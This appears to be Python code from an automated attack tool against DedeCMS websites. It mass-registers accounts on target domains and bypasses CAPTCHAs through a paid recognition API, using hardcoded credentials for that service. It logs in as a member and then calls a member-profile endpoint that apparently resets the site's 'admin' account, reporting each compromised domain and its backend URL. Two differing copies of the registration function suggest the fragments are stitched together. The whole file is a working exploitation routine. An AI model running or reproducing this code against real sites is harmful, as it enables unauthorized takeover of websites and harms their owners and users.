def _login_admin(self, try_count=3): # global hash_v, hash_k, rhash_k, rhash_v try: login_url = "%s/login.php" % self.back_ground_url login_form = { "dopost": "login", "adminstyle": "newdedecms", "validate": "", "gotopage": self.back_ground_url + "/index.php", "userid": self.user, "pwd": self.pwd } res = utils.my_requests(login_url, timeout=60, requester=self.session) try: self.charset = res.apparent_encoding except Exception as e: print("%s:编码识别错误" % self.domain) # if "vdimgck" in re.sub("(?=<!--)[\s\S]+(?<=-->)","",res.text): if 1 == 1: res = utils.my_requests(self.domain + self.vcode_url, timeout=10, requester=self.session) img_path = "./vcode/%d.jpg" % int(time.time()) with open(file=img_path, mode="wb") as fp: fp.write(res.content) img = Image.open(img_path) vcode_v = utils.base64_api(uname='danche', pwd='qq199605', img=img) if "余额不足" in vcode_v: return False login_form.update({"validate": vcode_v}) res = utils.my_requests(method="post", url=login_url, data=login_form, allow_redirects=True, timeout=120, requester=self.session) if "验证码不正确" in res.text: return False return True except Exception as e: traceback.print_exc() if try_count > 0: return self._login_admin(try_count - 1) else: return False
def 注册(domain, num=5): session = requests.session() res = session.get(domain + variable_storage.dede_vc_url, timeout=10) with open(file="tp.jpg", mode="wb") as fp: fp.write(res.content) img_path = "tp.jpg" img = Image.open(img_path) result = utils.base64_api(uname='danche', pwd='qq199605', img=img) print(result) res = post_data(session, domain, result) if res: return True elif num > 0: print("尝试重新注册:" + domain) return 注册(domain, num - 1)
def _login_member(self, try_count=3): try: login_url = "%s/member" % self.domain login_form = { "dopost": "login", "fmdo": "login", "userid": self.user, "pwd": self.pwd, "vdcode": "", "gourl": "/", "keeptime": "604800" } res = utils.my_requests(login_url, timeout=60, requester=self.session) try: self.charset = res.apparent_encoding except Exception as e: print("%s:编码识别错误" % self.domain) # if "vdimgck" in re.sub("(?=<!--)[\s\S]+(?<=-->)","",res.text): if 1 == 1: res = utils.my_requests(self.domain + self.vcode_url, timeout=10, requester=self.session) img_path = "./vcode/%d.jpg" % int(time.time()) with open(file=img_path, mode="wb") as fp: fp.write(res.content) img = Image.open(img_path) vcode_v = utils.base64_api(uname='danche', pwd='qq199605', img=img) login_form.update({"vdcode": vcode_v}) res = utils.my_requests(method="post", url=login_url + "/index_do.php", headers=self.heders, data=login_form, allow_redirects=True, timeout=120, requester=self.session) if "DedeUserID" in requests.utils.dict_from_cookiejar( self.session.cookies).keys(): return True else: res = utils.my_requests(method="post", url=login_url + "/index_do.php", headers=self.heders, params=login_form, allow_redirects=True, timeout=120, requester=self.session) if "DedeUserID" in requests.utils.dict_from_cookiejar( self.session.cookies).keys(): return True if try_count > 0: return self._login_member(try_count - 1) except Exception as e: traceback.print_exc() if try_count > 0: return self._login_member(try_count - 1) else: return False
def reset_back_admin(self, try_count=3): try: res = utils.my_requests(method="get", url=self.domain + "/member/edit_baseinfo.php", requester=self.session) try: uname = re.findall(r'(?<=id\="uname" value\=").*?(?=")', res.text)[0] except Exception as e: uname = "admin" post_form = { "dopost": "save", "uname": uname, "oldpwd": self.pwd, "userpwd": self.pwd, "userpwdok": self.pwd, "safequestion": "0", "safeanswer": "", "newsafequestion": "0", "newsafeanswer": "", "sex": "男".encode(self.charset), "email": "*****@*****.**", "vdcode": "" } res = utils.my_requests(self.domain + self.vcode_url, timeout=10, requester=self.session) img_path = "./vcode/%d.jpg" % int(time.time()) with open(file=img_path, mode="wb") as fp: fp.write(res.content) img = Image.open(img_path) vcode_v = utils.base64_api(uname='danche', pwd='qq199605', img=img) post_form.update({"vdcode": vcode_v}) res = utils.my_requests(method="post", url=self.domain + "/member/edit_baseinfo.php", headers=self.heders, data=post_form, allow_redirects=True, timeout=120, requester=self.session) if "成功" not in res.text: res = utils.my_requests(method="post", url=self.domain + "/member/edit_baseinfo.php", headers=self.heders, params=post_form, allow_redirects=True, timeout=120, requester=self.session) if "成功" not in res.text: if try_count > 0: return self.reset_back_admin(try_count - 1) else: if "完成详细资料" in res.text: return { "domain": self.domain, "res": False, "info": "失败(完善详细资料)!!!" } return { "domain": self.domain, "res": False, "info": "失败!!!" } return { "domain": "%s|%s|admin(%s)" % (self.domain, self.back_ground_url, uname), "res": True, "info": "成功!!!" } except Exception as e: traceback.print_exc() if try_count > 0: return self.reset_back_admin(try_count - 1) else: return {"domain": self.domain, "res": False, "info": "失败!!!"}
def 注册(domain, num=3): try: session = requests.session() res = session.get(domain + variable_storage.dede_vc_url, timeout=10) if res.status_code != 200: res = session.get(domain + "/library/vdimgck.php", timeout=10) with open(file="./tp.jpg", mode="wb") as fp: fp.write(res.content) if res.status_code != 200: return { "domain": domain, "res": False, "info": "非织梦,状态码:%d" % res.status_code } img_path = "./tp.jpg" try: img = Image.open(img_path) except: return { "domain": domain, "res": False, "info": "非织梦,状态码:%d" % res.status_code } result = utils.base64_api(uname=variable_storage.vcode_pm_uname, pwd=variable_storage.vcode_pm_pwd, img=img) res = post_data(session, domain, result) if not res: raise ConnectionError if res.status_code != 200: return { "domain": domain, "res": False, "info": "注册状态:%d" % res.status_code } if "成功" in res.text or "模型不存在" in res.text or "完成基本信息的注册" in res.text: return {"domain": domain, "res": True, "info": "0000001"} elif "存在" in res.text or "重复" in res.text: res = post_data(session, domain, result, uname=variable_storage.mail) if "成功" in res.text or "模型不存在" in res.text or "完成基本信息的注册" in res.text or "存在" in res.text or "重复" in res.text: return { "domain": domain, "res": True, "info": variable_storage.mail } if "Email已经被" in res.text: return {"domain": domain, "res": True, "info": "0000001"} else: res = post_data(session, domain, result, dopost="regok") if "成功" in res.text or "模型不存在" in res.text or "完成基本信息的注册" in res.text or "存在" in res.text or "重复" in res.text: return {"domain": domain, "res": True, "info": "0000001"} message = re.findall('(?<=document.write\()\S+(?="\);)', res.text)[0] return { "domain": domain, "res": False, "info": "注册失败:%d--%s" % (res.status_code, message) } except ConnectionError as e: return {"domain": domain, "res": False, "info": "连接失败"} except requests.exceptions.ReadTimeout as e: return {"domain": domain, "res": False, "info": "连接超时"} except Exception as e: if num > 0: print("尝试重新注册:" + domain) return 注册(domain, num - 1) else: return {"domain": domain, "res": False, "info": "未知异常"}